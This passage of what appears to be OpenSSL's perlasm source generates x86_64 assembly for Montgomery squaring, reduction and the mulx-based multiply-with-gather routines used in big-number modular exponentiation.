mov %rdx,$A1[1]
adc \$0,$A1[1]
lea 32($j),$j
mul $a0 # a[7]*a[4]
add %rax,$A0[0] # a[7]*a[4]+a[6]*a[5]+t[6]
mov $ai,%rax
mov %rdx,$A0[1]
adc \$0,$A0[1]
add $A1[0],$A0[0]
adc \$0,$A0[1]
mov $A0[0],-8($tptr,$j) # t[7]
cmp \$0,$j
jne .Lsqr4x_1st
mul $a1 # a[7]*a[5]
add %rax,$A1[1]
lea 16($i),$i
adc \$0,%rdx
add $A0[1],$A1[1]
adc \$0,%rdx
mov $A1[1],($tptr) # t[8]
mov %rdx,$A1[0]
mov %rdx,8($tptr) # t[9]
jmp .Lsqr4x_outer
.align 32
.Lsqr4x_outer: # comments apply to $num==6 case
mov -32($aptr,$i),$a0 # a[0]
lea 48+8(%rsp,$num,2),$tptr # end of tp[] buffer, &tp[2*$num]
mov -24($aptr,$i),%rax # a[1]
lea -32($tptr,$i),$tptr # end of tp[] window, &tp[2*$num-"$i"]
mov -16($aptr,$i),$ai # a[2]
mov %rax,$a1
mul $a0 # a[1]*a[0]
mov -24($tptr,$i),$A0[0] # t[1]
add %rax,$A0[0] # a[1]*a[0]+t[1]
mov $ai,%rax # a[2]
adc \$0,%rdx
mov $A0[0],-24($tptr,$i) # t[1]
mov %rdx,$A0[1]
mul $a0 # a[2]*a[0]
add %rax,$A0[1]
mov $ai,%rax
adc \$0,%rdx
add -16($tptr,$i),$A0[1] # a[2]*a[0]+t[2]
mov %rdx,$A0[0]
adc \$0,$A0[0]
mov $A0[1],-16($tptr,$i) # t[2]
xor $A1[0],$A1[0]
mov -8($aptr,$i),$ai # a[3]
mul $a1 # a[2]*a[1]
add %rax,$A1[0] # a[2]*a[1]+t[3]
mov $ai,%rax
adc \$0,%rdx
add -8($tptr,$i),$A1[0]
mov %rdx,$A1[1]
adc \$0,$A1[1]
mul $a0 # a[3]*a[0]
add %rax,$A0[0] # a[3]*a[0]+a[2]*a[1]+t[3]
mov $ai,%rax
adc \$0,%rdx
add $A1[0],$A0[0]
mov %rdx,$A0[1]
adc \$0,$A0[1]
mov $A0[0],-8($tptr,$i) # t[3]
lea ($i),$j
jmp .Lsqr4x_inner
.align 32
.Lsqr4x_inner:
mov ($aptr,$j),$ai # a[4]
mul $a1 # a[3]*a[1]
add %rax,$A1[1] # a[3]*a[1]+t[4]
mov $ai,%rax
mov %rdx,$A1[0]
adc \$0,$A1[0]
add ($tptr,$j),$A1[1]
adc \$0,$A1[0]
.byte 0x67
mul $a0 # a[4]*a[0]
add %rax,$A0[1] # a[4]*a[0]+a[3]*a[1]+t[4]
mov $ai,%rax # a[3]
mov 8($aptr,$j),$ai # a[5]
mov %rdx,$A0[0]
adc \$0,$A0[0]
add $A1[1],$A0[1]
adc \$0,$A0[0]
mul $a1 # a[4]*a[3]
add %rax,$A1[0] # a[4]*a[3]+t[5]
mov $A0[1],($tptr,$j) # t[4]
mov $ai,%rax
mov %rdx,$A1[1]
adc \$0,$A1[1]
add 8($tptr,$j),$A1[0]
lea 16($j),$j # j++
adc \$0,$A1[1]
mul $a0 # a[5]*a[2]
add %rax,$A0[0] # a[5]*a[2]+a[4]*a[3]+t[5]
mov $ai,%rax
adc \$0,%rdx
add $A1[0],$A0[0]
mov %rdx,$A0[1]
adc \$0,$A0[1]
mov $A0[0],-8($tptr,$j) # t[5], "preloaded t[1]" below
cmp \$0,$j
jne .Lsqr4x_inner
.byte 0x67
mul $a1 # a[5]*a[3]
add %rax,$A1[1]
adc \$0,%rdx
add $A0[1],$A1[1]
adc \$0,%rdx
mov $A1[1],($tptr) # t[6], "preloaded t[2]" below
mov %rdx,$A1[0]
mov %rdx,8($tptr) # t[7], "preloaded t[3]" below
add \$16,$i
jnz .Lsqr4x_outer
# comments apply to $num==4 case
mov -32($aptr),$a0 # a[0]
lea 48+8(%rsp,$num,2),$tptr # end of tp[] buffer, &tp[2*$num]
mov -24($aptr),%rax # a[1]
lea -32($tptr,$i),$tptr # end of tp[] window, &tp[2*$num-"$i"]
mov -16($aptr),$ai # a[2]
mov %rax,$a1
mul $a0 # a[1]*a[0]
add %rax,$A0[0] # a[1]*a[0]+t[1], preloaded t[1]
mov $ai,%rax # a[2]
mov %rdx,$A0[1]
adc \$0,$A0[1]
mul $a0 # a[2]*a[0]
add %rax,$A0[1]
mov $ai,%rax
mov $A0[0],-24($tptr) # t[1]
mov %rdx,$A0[0]
adc \$0,$A0[0]
add $A1[1],$A0[1] # a[2]*a[0]+t[2], preloaded t[2]
mov -8($aptr),$ai # a[3]
adc \$0,$A0[0]
mul $a1 # a[2]*a[1]
add %rax,$A1[0] # a[2]*a[1]+t[3], preloaded t[3]
mov $ai,%rax
mov $A0[1],-16($tptr) # t[2]
mov %rdx,$A1[1]
adc \$0,$A1[1]
mul $a0 # a[3]*a[0]
add %rax,$A0[0] # a[3]*a[0]+a[2]*a[1]+t[3]
mov $ai,%rax
mov %rdx,$A0[1]
adc \$0,$A0[1]
add $A1[0],$A0[0]
adc \$0,$A0[1]
mov $A0[0],-8($tptr) # t[3]
mul $a1 # a[3]*a[1]
add %rax,$A1[1]
mov -16($aptr),%rax # a[2]
adc \$0,%rdx
add $A0[1],$A1[1]
adc \$0,%rdx
mov $A1[1],($tptr) # t[4]
mov %rdx,$A1[0]
mov %rdx,8($tptr) # t[5]
mul $ai # a[2]*a[3]
___
{
my ($shift,$carry)=($a0,$a1);
my @S=(@A1,$ai,$n0);
$code.=<<___;
add \$16,$i
xor $shift,$shift
sub $num,$i # $i=16-$num
xor $carry,$carry
add $A1[0],%rax # t[5]
adc \$0,%rdx
mov %rax,8($tptr) # t[5]
mov %rdx,16($tptr) # t[6]
mov $carry,24($tptr) # t[7]
mov -16($aptr,$i),%rax # a[0]
lea 48+8(%rsp),$tptr
xor $A0[0],$A0[0] # t[0]
mov 8($tptr),$A0[1] # t[1]
lea ($shift,$A0[0],2),$S[0] # t[2*i]<<1 | shift
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[1] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[1] # | t[2*i]>>63
mov 16($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov 24($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[0]
mov -8($aptr,$i),%rax # a[i+1] # prefetch
mov $S[0],($tptr)
adc %rdx,$S[1]
lea ($shift,$A0[0],2),$S[2] # t[2*i]<<1 | shift
mov $S[1],8($tptr)
sbb $carry,$carry # mov cf,$carry
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[3] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[3] # | t[2*i]>>63
mov 32($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov 40($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[2]
mov 0($aptr,$i),%rax # a[i+1] # prefetch
mov $S[2],16($tptr)
adc %rdx,$S[3]
lea 16($i),$i
mov $S[3],24($tptr)
sbb $carry,$carry # mov cf,$carry
lea 64($tptr),$tptr
jmp .Lsqr4x_shift_n_add
.align 32
.Lsqr4x_shift_n_add:
lea ($shift,$A0[0],2),$S[0] # t[2*i]<<1 | shift
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[1] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[1] # | t[2*i]>>63
mov -16($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov -8($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[0]
mov -8($aptr,$i),%rax # a[i+1] # prefetch
mov $S[0],-32($tptr)
adc %rdx,$S[1]
lea ($shift,$A0[0],2),$S[2] # t[2*i]<<1 | shift
mov $S[1],-24($tptr)
sbb $carry,$carry # mov cf,$carry
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[3] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[3] # | t[2*i]>>63
mov 0($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov 8($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[2]
mov 0($aptr,$i),%rax # a[i+1] # prefetch
mov $S[2],-16($tptr)
adc %rdx,$S[3]
lea ($shift,$A0[0],2),$S[0] # t[2*i]<<1 | shift
mov $S[3],-8($tptr)
sbb $carry,$carry # mov cf,$carry
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[1] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[1] # | t[2*i]>>63
mov 16($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov 24($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[0]
mov 8($aptr,$i),%rax # a[i+1] # prefetch
mov $S[0],0($tptr)
adc %rdx,$S[1]
lea ($shift,$A0[0],2),$S[2] # t[2*i]<<1 | shift
mov $S[1],8($tptr)
sbb $carry,$carry # mov cf,$carry
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[3] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[3] # | t[2*i]>>63
mov 32($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov 40($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[2]
mov 16($aptr,$i),%rax # a[i+1] # prefetch
mov $S[2],16($tptr)
adc %rdx,$S[3]
mov $S[3],24($tptr)
sbb $carry,$carry # mov cf,$carry
lea 64($tptr),$tptr
add \$32,$i
jnz .Lsqr4x_shift_n_add
lea ($shift,$A0[0],2),$S[0] # t[2*i]<<1 | shift
.byte 0x67
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[1] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[1] # | t[2*i]>>63
mov -16($tptr),$A0[0] # t[2*i+2] # prefetch
mov $A0[1],$shift # shift=t[2*i+1]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
mov -8($tptr),$A0[1] # t[2*i+2+1] # prefetch
adc %rax,$S[0]
mov -8($aptr),%rax # a[i+1] # prefetch
mov $S[0],-32($tptr)
adc %rdx,$S[1]
lea ($shift,$A0[0],2),$S[2] # t[2*i]<<1|shift
mov $S[1],-24($tptr)
sbb $carry,$carry # mov cf,$carry
shr \$63,$A0[0]
lea ($j,$A0[1],2),$S[3] # t[2*i+1]<<1 |
shr \$63,$A0[1]
or $A0[0],$S[3] # | t[2*i]>>63
mul %rax # a[i]*a[i]
neg $carry # mov $carry,cf
adc %rax,$S[2]
adc %rdx,$S[3]
mov $S[2],-16($tptr)
mov $S[3],-8($tptr)
___
}
######################################################################
# Montgomery reduction part, "word-by-word" algorithm.
#
# This new path is inspired by multiple submissions from Intel, by
# Shay Gueron, Vlad Krasnov, Erdinc Ozturk, James Guilford,
# Vinodh Gopal...
{
my ($nptr,$tptr,$carry,$m0)=("%rbp","%rdi","%rsi","%rbx");
$code.=<<___;
movq %xmm2,$nptr
sqr8x_reduction:
xor %rax,%rax
lea ($nptr,$num,2),%rcx # end of n[]
lea 48+8(%rsp,$num,2),%rdx # end of t[] buffer
mov %rcx,0+8(%rsp)
lea 48+8(%rsp,$num),$tptr # end of initial t[] window
mov %rdx,8+8(%rsp)
neg $num
jmp .L8x_reduction_loop
.align 32
.L8x_reduction_loop:
lea ($tptr,$num),$tptr # start of current t[] window
.byte 0x66
mov 8*0($tptr),$m0
mov 8*1($tptr),%r9
mov 8*2($tptr),%r10
mov 8*3($tptr),%r11
mov 8*4($tptr),%r12
mov 8*5($tptr),%r13
mov 8*6($tptr),%r14
mov 8*7($tptr),%r15
mov %rax,(%rdx) # store top-most carry bit
lea 8*8($tptr),$tptr
.byte 0x67
mov $m0,%r8
imulq 32+8(%rsp),$m0 # n0*a[0]
mov 16*0($nptr),%rax # n[0]
mov \$8,%ecx
jmp .L8x_reduce
.align 32
.L8x_reduce:
mulq $m0
mov 16*1($nptr),%rax # n[1]
neg %r8
mov %rdx,%r8
adc \$0,%r8
mulq $m0
add %rax,%r9
mov 16*2($nptr),%rax
adc \$0,%rdx
add %r9,%r8
mov $m0,48-8+8(%rsp,%rcx,8) # put aside n0*a[i]
mov %rdx,%r9
adc \$0,%r9
mulq $m0
add %rax,%r10
mov 16*3($nptr),%rax
adc \$0,%rdx
add %r10,%r9
mov 32+8(%rsp),$carry # pull n0, borrow $carry
mov %rdx,%r10
adc \$0,%r10
mulq $m0
add %rax,%r11
mov 16*4($nptr),%rax
adc \$0,%rdx
imulq %r8,$carry # modulo-scheduled
add %r11,%r10
mov %rdx,%r11
adc \$0,%r11
mulq $m0
add %rax,%r12
mov 16*5($nptr),%rax
adc \$0,%rdx
add %r12,%r11
mov %rdx,%r12
adc \$0,%r12
mulq $m0
add %rax,%r13
mov 16*6($nptr),%rax
adc \$0,%rdx
add %r13,%r12
mov %rdx,%r13
adc \$0,%r13
mulq $m0
add %rax,%r14
mov 16*7($nptr),%rax
adc \$0,%rdx
add %r14,%r13
mov %rdx,%r14
adc \$0,%r14
mulq $m0
mov $carry,$m0 # n0*a[i]
add %rax,%r15
mov 16*0($nptr),%rax # n[0]
adc \$0,%rdx
add %r15,%r14
mov %rdx,%r15
adc \$0,%r15
dec %ecx
jnz .L8x_reduce
lea 16*8($nptr),$nptr
xor %rax,%rax
mov 8+8(%rsp),%rdx # pull end of t[]
cmp 0+8(%rsp),$nptr # end of n[]?
jae .L8x_no_tail
.byte 0x66
add 8*0($tptr),%r8
adc 8*1($tptr),%r9
adc 8*2($tptr),%r10
adc 8*3($tptr),%r11
adc 8*4($tptr),%r12
adc 8*5($tptr),%r13
adc 8*6($tptr),%r14
adc 8*7($tptr),%r15
sbb $carry,$carry # top carry
mov 48+56+8(%rsp),$m0 # pull n0*a[0]
mov \$8,%ecx
mov 16*0($nptr),%rax
jmp .L8x_tail
.align 32
.L8x_tail:
mulq $m0
add %rax,%r8
mov 16*1($nptr),%rax
mov %r8,($tptr) # save result
mov %rdx,%r8
adc \$0,%r8
mulq $m0
add %rax,%r9
mov 16*2($nptr),%rax
adc \$0,%rdx
add %r9,%r8
lea 8($tptr),$tptr # $tptr++
mov %rdx,%r9
adc \$0,%r9
mulq $m0
add %rax,%r10
mov 16*3($nptr),%rax
adc \$0,%rdx
add %r10,%r9
mov %rdx,%r10
adc \$0,%r10
mulq $m0
add %rax,%r11
mov 16*4($nptr),%rax
adc \$0,%rdx
add %r11,%r10
mov %rdx,%r11
adc \$0,%r11
mulq $m0
add %rax,%r12
mov 16*5($nptr),%rax
adc \$0,%rdx
add %r12,%r11
mov %rdx,%r12
adc \$0,%r12
mulq $m0
add %rax,%r13
mov 16*6($nptr),%rax
adc \$0,%rdx
add %r13,%r12
mov %rdx,%r13
adc \$0,%r13
mulq $m0
add %rax,%r14
mov 16*7($nptr),%rax
adc \$0,%rdx
add %r14,%r13
mov %rdx,%r14
adc \$0,%r14
mulq $m0
mov 48-16+8(%rsp,%rcx,8),$m0# pull n0*a[i]
add %rax,%r15
adc \$0,%rdx
add %r15,%r14
mov 16*0($nptr),%rax # pull n[0]
mov %rdx,%r15
adc \$0,%r15
dec %ecx
jnz .L8x_tail
lea 16*8($nptr),$nptr
mov 8+8(%rsp),%rdx # pull end of t[]
cmp 0+8(%rsp),$nptr # end of n[]?
jae .L8x_tail_done # break out of loop
mov 48+56+8(%rsp),$m0 # pull n0*a[0]
neg $carry
mov 8*0($nptr),%rax # pull n[0]
adc 8*0($tptr),%r8
adc 8*1($tptr),%r9
adc 8*2($tptr),%r10
adc 8*3($tptr),%r11
adc 8*4($tptr),%r12
adc 8*5($tptr),%r13
adc 8*6($tptr),%r14
adc 8*7($tptr),%r15
sbb $carry,$carry # top carry
mov \$8,%ecx
jmp .L8x_tail
.align 32
.L8x_tail_done:
add (%rdx),%r8 # can this overflow?
adc \$0,%r9
adc \$0,%r10
adc \$0,%r11
adc \$0,%r12
adc \$0,%r13
adc \$0,%r14
adc \$0,%r15 # can't overflow, because we
# started with "overhung" part
# of multiplication
xor %rax,%rax
neg $carry
.L8x_no_tail:
adc 8*0($tptr),%r8
adc 8*1($tptr),%r9
adc 8*2($tptr),%r10
adc 8*3($tptr),%r11
adc 8*4($tptr),%r12
adc 8*5($tptr),%r13
adc 8*6($tptr),%r14
adc 8*7($tptr),%r15
adc \$0,%rax # top-most carry
mov -16($nptr),%rcx # np[num-1]
xor $carry,$carry
movq %xmm2,$nptr # restore $nptr
mov %r8,8*0($tptr) # store top 512 bits
mov %r9,8*1($tptr)
movq %xmm3,$num # $num is %r9, can't be moved upwards
mov %r10,8*2($tptr)
mov %r11,8*3($tptr)
mov %r12,8*4($tptr)
mov %r13,8*5($tptr)
mov %r14,8*6($tptr)
mov %r15,8*7($tptr)
lea 8*8($tptr),$tptr
cmp %rdx,$tptr # end of t[]?
jb .L8x_reduction_loop
___
}
##############################################################
# Post-condition, 4x unrolled
#
{
my ($tptr,$nptr)=("%rbx","%rbp");
$code.=<<___;
#xor %rsi,%rsi # %rsi was $carry above
sub %r15,%rcx # compare top-most words
lea (%rdi,$num),$tptr # %rdi was $tptr above
adc %rsi,%rsi
mov $num,%rcx
or %rsi,%rax
movq %xmm1,$rptr # restore $rptr
xor \$1,%rax
movq %xmm1,$aptr # prepare for back-to-back call
lea ($nptr,%rax,8),$nptr
sar \$3+2,%rcx # cf=0
jmp .Lsqr4x_sub
.align 32
.Lsqr4x_sub:
.byte 0x66
mov 8*0($tptr),%r12
mov 8*1($tptr),%r13
sbb 16*0($nptr),%r12
mov 8*2($tptr),%r14
sbb 16*1($nptr),%r13
mov 8*3($tptr),%r15
lea 8*4($tptr),$tptr
sbb 16*2($nptr),%r14
mov %r12,8*0($rptr)
sbb 16*3($nptr),%r15
lea 16*4($nptr),$nptr
mov %r13,8*1($rptr)
mov %r14,8*2($rptr)
mov %r15,8*3($rptr)
lea 8*4($rptr),$rptr
inc %rcx # pass %cf
jnz .Lsqr4x_sub
___
}
$code.=<<___;
mov $num,%r10 # prepare for back-to-back call
neg $num # restore $num
ret
.size bn_sqr8x_internal,.-bn_sqr8x_internal
___
{
$code.=<<___;
.globl bn_from_montgomery
.type bn_from_montgomery,\@abi-omnipotent
.align 32
bn_from_montgomery:
testl \$7,`($win64?"48(%rsp)":"%r9d")`
jz bn_from_mont8x
xor %eax,%eax
ret
.size bn_from_montgomery,.-bn_from_montgomery
.type bn_from_mont8x,\@function,6
.align 32
bn_from_mont8x:
.byte 0x67
mov %rsp,%rax
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
___
$code.=<<___ if ($win64);
lea -0x28(%rsp),%rsp
movaps %xmm6,(%rsp)
movaps %xmm7,0x10(%rsp)
___
$code.=<<___;
.byte 0x67
mov ${num}d,%r10d
shl \$3,${num}d # convert $num to bytes
shl \$3+2,%r10d # 4*$num
neg $num
mov ($n0),$n0 # *n0
##############################################################
# ensure that stack frame doesn't alias with $aptr+4*$num
# modulo 4096, which covers ret[num], am[num] and n[2*num]
# (see bn_exp.c). this is done to allow memory disambiguation
# logic do its magic.
#
lea -64(%rsp,$num,2),%r11
sub $aptr,%r11
and \$4095,%r11
cmp %r11,%r10
jb .Lfrom_sp_alt
sub %r11,%rsp # align with $aptr
lea -64(%rsp,$num,2),%rsp # alloca(frame+2*$num)
jmp .Lfrom_sp_done
.align 32
.Lfrom_sp_alt:
lea 4096-64(,$num,2),%r10 # 4096-frame-2*$num
lea -64(%rsp,$num,2),%rsp # alloca(frame+2*$num)
sub %r10,%r11
mov \$0,%r10
cmovc %r10,%r11
sub %r11,%rsp
.Lfrom_sp_done:
and \$-64,%rsp
mov $num,%r10
neg $num
##############################################################
# Stack layout
#
# +0 saved $num, used in reduction section
# +8 &t[2*$num], used in reduction section
# +32 saved *n0
# +40 saved %rsp
# +48 t[2*$num]
#
mov $n0, 32(%rsp)
mov %rax, 40(%rsp) # save original %rsp
.Lfrom_body:
mov $num,%r11
lea 48(%rsp),%rax
pxor %xmm0,%xmm0
jmp .Lmul_by_1
.align 32
.Lmul_by_1:
movdqu ($aptr),%xmm1
movdqu 16($aptr),%xmm2
movdqu 32($aptr),%xmm3
movdqa %xmm0,(%rax,$num)
movdqu 48($aptr),%xmm4
movdqa %xmm0,16(%rax,$num)
.byte 0x48,0x8d,0xb6,0x40,0x00,0x00,0x00 # lea 64($aptr),$aptr
movdqa %xmm1,(%rax)
movdqa %xmm0,32(%rax,$num)
movdqa %xmm2,16(%rax)
movdqa %xmm0,48(%rax,$num)
movdqa %xmm3,32(%rax)
movdqa %xmm4,48(%rax)
lea 64(%rax),%rax
sub \$64,%r11
jnz .Lmul_by_1
movq $rptr,%xmm1
movq $nptr,%xmm2
.byte 0x67
mov $nptr,%rbp
movq %r10, %xmm3 # -num
___
$code.=<<___ if ($addx);
mov OPENSSL_ia32cap_P+8(%rip),%r11d
and \$0x80100,%r11d
cmp \$0x80100,%r11d
jne .Lfrom_mont_nox
lea (%rax,$num),$rptr
call sqrx8x_reduction
pxor %xmm0,%xmm0
lea 48(%rsp),%rax
mov 40(%rsp),%rsi # restore %rsp
jmp .Lfrom_mont_zero
.align 32
.Lfrom_mont_nox:
___
$code.=<<___;
call sqr8x_reduction
pxor %xmm0,%xmm0
lea 48(%rsp),%rax
mov 40(%rsp),%rsi # restore %rsp
jmp .Lfrom_mont_zero
.align 32
.Lfrom_mont_zero:
movdqa %xmm0,16*0(%rax)
movdqa %xmm0,16*1(%rax)
movdqa %xmm0,16*2(%rax)
movdqa %xmm0,16*3(%rax)
lea 16*4(%rax),%rax
sub \$32,$num
jnz .Lfrom_mont_zero
mov \$1,%rax
mov -48(%rsi),%r15
mov -40(%rsi),%r14
mov -32(%rsi),%r13
mov -24(%rsi),%r12
mov -16(%rsi),%rbp
mov -8(%rsi),%rbx
lea (%rsi),%rsp
.Lfrom_epilogue:
ret
.size bn_from_mont8x,.-bn_from_mont8x
___
}
}}}
if ($addx) {{{
my $bp="%rdx"; # restore original value
$code.=<<___;
.type bn_mulx4x_mont_gather5,\@function,6
.align 32
bn_mulx4x_mont_gather5:
.Lmulx4x_enter:
.byte 0x67
mov %rsp,%rax
push %rbx
push %rbp
push %r12
push %r13
push %r14
push %r15
___
$code.=<<___ if ($win64);
lea -0x28(%rsp),%rsp
movaps %xmm6,(%rsp)
movaps %xmm7,0x10(%rsp)
___
$code.=<<___;
.byte 0x67
mov ${num}d,%r10d
shl \$3,${num}d # convert $num to bytes
shl \$3+2,%r10d # 4*$num
neg $num # -$num
mov ($n0),$n0 # *n0
##############################################################
# ensure that stack frame doesn't alias with $aptr+4*$num
# modulo 4096, which covers a[num], ret[num] and n[2*num]
# (see bn_exp.c). this is done to allow memory disambiguation
# logic do its magic. [excessive frame is allocated in order
# to allow bn_from_mont8x to clear it.]
#
lea -64(%rsp,$num,2),%r11
sub $ap,%r11
and \$4095,%r11
cmp %r11,%r10
jb .Lmulx4xsp_alt
sub %r11,%rsp # align with $aptr
lea -64(%rsp,$num,2),%rsp # alloca(frame+$num)
jmp .Lmulx4xsp_done
.align 32
.Lmulx4xsp_alt:
lea 4096-64(,$num,2),%r10 # 4096-frame-$num
lea -64(%rsp,$num,2),%rsp # alloca(frame+$num)
sub %r10,%r11
mov \$0,%r10
cmovc %r10,%r11
sub %r11,%rsp
.Lmulx4xsp_done:
and \$-64,%rsp # ensure alignment
##############################################################
# Stack layout
# +0 -num
# +8 off-loaded &b[i]
# +16 end of b[num]
# +24 inner counter
# +32 saved n0
# +40 saved %rsp
# +48
# +56 saved rp
# +64 tmp[num+1]
#
mov $n0, 32(%rsp) # save *n0
mov %rax,40(%rsp) # save original %rsp
.Lmulx4x_body:
call mulx4x_internal
mov 40(%rsp),%rsi # restore %rsp
mov \$1,%rax
___
$code.=<<___ if ($win64);
movaps -88(%rsi),%xmm6
movaps -72(%rsi),%xmm7
___
$code.=<<___;
mov -48(%rsi),%r15
mov -40(%rsi),%r14
mov -32(%rsi),%r13
mov -24(%rsi),%r12
mov -16(%rsi),%rbp
mov -8(%rsi),%rbx
lea (%rsi),%rsp
.Lmulx4x_epilogue:
ret
.size bn_mulx4x_mont_gather5,.-bn_mulx4x_mont_gather5
.type mulx4x_internal,\@abi-omnipotent
.align 32
mulx4x_internal:
.byte 0x4c,0x89,0x8c,0x24,0x08,0x00,0x00,0x00 # mov $num,8(%rsp) # save -$num
.byte 0x67
neg $num # restore $num
shl \$5,$num
lea 256($bp,$num),%r13
shr \$5+5,$num
mov `($win64?56:8)`(%rax),%r10d # load 7th argument
sub \$1,$num
mov %r13,16+8(%rsp) # end of b[num]
mov $num,24+8(%rsp) # inner counter
mov $rp, 56+8(%rsp) # save $rp
___
my ($aptr, $bptr, $nptr, $tptr, $mi, $bi, $zero, $num)=
("%rsi","%rdi","%rcx","%rbx","%r8","%r9","%rbp","%rax");
my $rptr=$bptr;
my $STRIDE=2**5*8; # 5 is "window size"
my $N=$STRIDE/4; # should match cache line size
$code.=<<___;
mov %r10,%r11
shr \$`log($N/8)/log(2)`,%r10
and \$`$N/8-1`,%r11
not %r10
lea .Lmagic_masks(%rip),%rax
and \$`2**5/($N/8)-1`,%r10 # 5 is "window size"
lea 96($bp,%r11,8),$bptr # pointer within 1st cache line
movq 0(%rax,%r10,8),%xmm4 # set of masks denoting which
movq 8(%rax,%r10,8),%xmm5 # cache line contains element
add \$7,%r11
movq 16(%rax,%r10,8),%xmm6 # denoted by 7th argument
movq 24(%rax,%r10,8),%xmm7
and \$7,%r11
movq `0*$STRIDE/4-96`($bptr),%xmm0
lea $STRIDE($bptr),$tptr # borrow $tptr
movq `1*$STRIDE/4-96`($bptr),%xmm1
pand %xmm4,%xmm0
movq `2*$STRIDE/4-96`($bptr),%xmm2
pand %xmm5,%xmm1
movq `3*$STRIDE/4-96`($bptr),%xmm3
pand %xmm6,%xmm2
por %xmm1,%xmm0
movq `0*$STRIDE/4-96`($tptr),%xmm1
pand %xmm7,%xmm3
por %xmm2,%xmm0
movq `1*$STRIDE/4-96`($tptr),%xmm2
por %xmm3,%xmm0
.byte 0x67,0x67
pand %xmm4,%xmm1
movq `2*$STRIDE/4-96`($tptr),%xmm3
movq %xmm0,%rdx # bp[0]
movq `3*$STRIDE/4-96`($tptr),%xmm0
lea 2*$STRIDE($bptr),$bptr # next &b[i]
pand %xmm5,%xmm2
.byte 0x67,0x67
pand %xmm6,%xmm3
##############################################################
# $tptr is chosen so that writing to top-most element of the
# vector occurs just "above" references to powers table,
# "above" modulo cache-line size, which effectively precludes
# possibility of memory disambiguation logic failure when
# accessing the table.
#
lea 64+8*4+8(%rsp,%r11,8),$tptr
mov %rdx,$bi
mulx 0*8($aptr),$mi,%rax # a[0]*b[0]
mulx 1*8($aptr),%r11,%r12 # a[1]*b[0]
add %rax,%r11
mulx 2*8($aptr),%rax,%r13 # ...
adc %rax,%r12
adc \$0,%r13
mulx 3*8($aptr),%rax,%r14
mov $mi,%r15
imulq 32+8(%rsp),$mi # "t[0]"*n0
xor $zero,$zero # cf=0, of=0
mov $mi,%rdx
por %xmm2,%xmm1
pand %xmm7,%xmm0
por %xmm3,%xmm1
mov $bptr,8+8(%rsp) # off-load &b[i]
por %xmm1,%xmm0
.byte 0x48,0x8d,0xb6,0x20,0x00,0x00,0x00 # lea 4*8($aptr),$aptr
adcx %rax,%r13
adcx $zero,%r14 # cf=0
mulx 0*16($nptr),%rax,%r10
adcx %rax,%r15 # discarded
adox %r11,%r10
mulx 1*16($nptr),%rax,%r11
adcx %rax,%r10
adox %r12,%r11
mulx 2*16($nptr),%rax,%r12
mov 24+8(%rsp),$bptr # counter value
.byte 0x66
mov %r10,-8*4($tptr)
adcx %rax,%r11
adox %r13,%r12
mulx 3*16($nptr),%rax,%r15
.byte 0x67,0x67
mov $bi,%rdx
mov %r11,-8*3($tptr)
adcx %rax,%r12
adox $zero,%r15 # of=0
.byte 0x48,0x8d,0x89,0x40,0x00,0x00,0x00 # lea 4*16($nptr),$nptr
mov %r12,-8*2($tptr)
#jmp .Lmulx4x_1st
.align 32
.Lmulx4x_1st:
adcx $zero,%r15 # cf=0, modulo-scheduled
mulx 0*8($aptr),%r10,%rax # a[4]*b[0]
adcx %r14,%r10
mulx 1*8($aptr),%r11,%r14 # a[5]*b[0]
adcx %rax,%r11
mulx 2*8($aptr),%r12,%rax # ...
adcx %r14,%r12
mulx 3*8($aptr),%r13,%r14
.byte 0x67,0x67
mov $mi,%rdx
adcx %rax,%r13
adcx $zero,%r14 # cf=0
lea 4*8($aptr),$aptr
lea 4*8($tptr),$tptr
adox %r15,%r10
mulx 0*16($nptr),%rax,%r15
adcx %rax,%r10
adox %r15,%r11
mulx 1*16($nptr),%rax,%r15
adcx %rax,%r11
adox %r15,%r12
mulx 2*16($nptr),%rax,%r15
mov %r10,-5*8($tptr)
adcx %rax,%r12
mov %r11,-4*8($tptr)
adox %r15,%r13
mulx 3*16($nptr),%rax,%r15
mov $bi,%rdx
mov %r12,-3*8($tptr)
adcx %rax,%r13
adox $zero,%r15
lea 4*16($nptr),$nptr
mov %r13,-2*8($tptr)
dec $bptr # of=0, pass cf
jnz .Lmulx4x_1st
